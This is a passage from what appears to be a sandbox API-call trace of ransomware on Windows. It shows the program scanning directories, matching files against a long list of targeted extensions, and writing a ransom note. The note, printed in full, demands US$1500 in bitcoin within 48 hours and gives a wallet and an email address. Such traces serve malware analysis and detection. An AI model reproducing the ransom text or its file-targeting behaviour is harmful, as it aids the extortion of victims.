(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.vsd") returned 0 [0103.775] lstrlenA (lpString="*.vsd") returned 5 [0103.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.odg") returned 0 [0103.775] lstrlenA (lpString="*.odg") returned 5 [0103.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.raw") returned 0 [0103.775] lstrlenA (lpString="*.raw") returned 5 [0103.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.nef") returned 0 [0103.775] lstrlenA (lpString="*.nef") returned 5 [0103.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.svg") returned 0 [0103.775] lstrlenA (lpString="*.svg") returned 5 [0103.775] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.psd") returned 0 [0103.775] lstrlenA (lpString="*.psd") returned 5 [0103.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.vmx") returned 0 [0103.776] lstrlenA (lpString="*.vmx") returned 5 [0103.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.vmdk") returned 0 [0103.776] lstrlenA (lpString="*.vmdk") returned 6 [0103.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.vdi") returned 0 [0103.776] lstrlenA (lpString="*.vdi") returned 5 [0103.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.lay6") returned 0 [0103.776] lstrlenA (lpString="*.lay6") returned 6 [0103.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mpeg") returned 0 [0103.776] lstrlenA (lpString="*.mpeg") returned 6 [0103.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.djvu") returned 0 [0103.776] lstrlenA (lpString="*.djvu") returned 6 [0103.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.tiff") returned 0 [0103.776] lstrlenA (lpString="*.tiff") returned 6 [0103.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.backup") returned 0 [0103.776] lstrlenA (lpString="*.backup") returned 8 [0103.776] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.pdf") returned 0 [0103.776] lstrlenA (lpString="*.pdf") returned 5 [0103.777] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.cert") returned 0 [0103.777] lstrlenA (lpString="*.cert") returned 6 [0103.777] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.docm") returned 0 [0103.777] lstrlenA (lpString="*.docm") returned 6 [0103.777] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.xlsm") returned 0 [0103.777] lstrlenA (lpString="*.xlsm") returned 6 [0103.777] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.dwg") returned 0 [0103.777] lstrlenA (lpString="*.dwg") returned 5 [0103.777] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.nd") returned 0 [0103.777] lstrlenA (lpString="*.nd") returned 4 [0103.777] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.tlg") returned 0 [0103.777] lstrlenA (lpString="*.tlg") returned 5 [0103.777] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.lgb") returned 0 [0103.777] lstrlenA (lpString="*.lgb") returned 5 [0103.777] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mov") returned 0 [0103.777] lstrlenA (lpString="*.mov") returned 5 [0103.778] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.xdw") returned 0 [0103.778] lstrlenA (lpString="*.xdw") returned 5 [0103.778] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.ods") returned 0 [0103.778] lstrlenA (lpString="*.ods") returned 5 [0103.778] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.wav") returned 0 [0103.778] lstrlenA (lpString="*.wav") returned 5 [0103.778] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mp3") returned 0 [0103.778] lstrlenA (lpString="*.mp3") returned 5 [0103.778] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.aiff") returned 0 [0103.778] lstrlenA (lpString="*.aiff") returned 6 [0103.778] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.flac") returned 0 [0103.778] lstrlenA (lpString="*.flac") returned 6 [0103.778] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.m4a") returned 0 [0103.778] lstrlenA (lpString="*.m4a") returned 5 [0103.778] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\ee8ed3c8e7f0281a9e29c7cdf050b69d\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.csv") returned 0 [0103.778] lstrlenA (lpString="*.csv") returned 5 [0103.778] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d46b0e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d46b0e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d46b0e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.778] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.779] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d4dd505, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d4dd505, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d4dd505, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ee8ed3c8e7f0281a9e29c7cdf050b69d", cAlternateFileName="EE8ED3~1")) returned 0 [0103.779] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0103.779] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e560dc3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e560dc3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e560dc3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x696e2e74, dwReserved1=0x6c6c642e, cFileName="Microsoft.WSMan.Man#", cAlternateFileName="MICROS~2.MAN")) returned 1 [0103.779] lstrcmpA (lpString1=".", lpString2="Microsoft.WSMan.Man#") returned -1 [0103.779] lstrcmpA (lpString1="..", lpString2="Microsoft.WSMan.Man#") returned -1 [0103.779] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0103.779] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="Microsoft.WSMan.Man#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#" [0103.779] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#") returned 67 [0103.779] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e560dc3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e560dc3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e560dc3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0103.780] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.780] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e560dc3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e560dc3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e560dc3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.780] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.780] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.780] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e560dc3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e560dc3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e560dc3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ee28a075665b6bc23b6dae56903d431d", cAlternateFileName="EE28A0~1")) returned 1 [0103.780] lstrcmpA (lpString1=".", lpString2="ee28a075665b6bc23b6dae56903d431d") returned -1 [0103.780] lstrcmpA (lpString1="..", lpString2="ee28a075665b6bc23b6dae56903d431d") returned -1 [0103.780] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\*.*") returned="*.*" [0103.780] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\", lpString2="ee28a075665b6bc23b6dae56903d431d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d" [0103.780] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d") returned 100 [0103.780] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e560dc3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e560dc3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e560dc3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.780] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.780] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e560dc3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e560dc3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e560dc3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.780] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.780] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.781] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e514b03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e514b03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e514b03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.781] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.781] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WSMan.Management.ni.dll") returned -1 [0103.781] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WSMan.Management.ni.dll") returned -1 [0103.781] lstrcmpiA (lpString1="", lpString2="Microsoft.WSMan.Management.ni.dll") returned -1 [0103.781] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\*.*") returned="*.*" [0103.781] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\" [0103.781] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\") returned="" [0103.781] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\HOW TO DECRYPT FILES.txt" [0103.781] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.wsman.man#\\ee28a075665b6bc23b6dae56903d431d\\how to decrypt files.txt")) returned 0xffffffff [0103.781] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.wsman.man#\\ee28a075665b6bc23b6dae56903d431d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.782] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.782] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.784] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.784] CloseHandle (hObject=0x90) returned 1 [0103.784] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\", lpString2="Microsoft.WSMan.Management.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll" [0103.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.ems") returned 0 [0103.784] lstrlenA (lpString="*.ems") returned 5 [0103.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.db") returned 0 [0103.785] lstrlenA (lpString="*.db") returned 4 [0103.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.dbf") returned 0 [0103.785] lstrlenA (lpString="*.dbf") returned 5 [0103.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.myox") returned 0 [0103.785] lstrlenA (lpString="*.myox") returned 6 [0103.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.myo") returned 0 [0103.785] lstrlenA (lpString="*.myo") returned 5 [0103.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbw") returned 0 [0103.785] lstrlenA (lpString="*.qbw") returned 5 [0103.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbb") returned 0 [0103.785] lstrlenA (lpString="*.qbb") returned 5 [0103.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbm") returned 0 [0103.785] lstrlenA (lpString="*.qbm") returned 5 [0103.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbo") returned 0 [0103.785] lstrlenA (lpString="*.qbo") returned 5 [0103.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbx") returned 0 [0103.785] lstrlenA (lpString="*.qbx") returned 5 [0103.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qba") returned 0 [0103.786] lstrlenA (lpString="*.qba") returned 5 [0103.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qby") returned 0 [0103.786] lstrlenA (lpString="*.qby") returned 5 [0103.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qbj") returned 0 [0103.786] lstrlenA (lpString="*.qbj") returned 5 [0103.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.ofx") returned 0 [0103.786] lstrlenA (lpString="*.ofx") returned 5 [0103.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.qif") returned 0 [0103.786] lstrlenA (lpString="*.qif") returned 5 [0103.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mye") returned 0 [0103.786] lstrlenA (lpString="*.mye") returned 5 [0103.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mbox") returned 0 [0103.786] lstrlenA (lpString="*.mbox") returned 6 [0103.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.eml") returned 0 [0103.786] 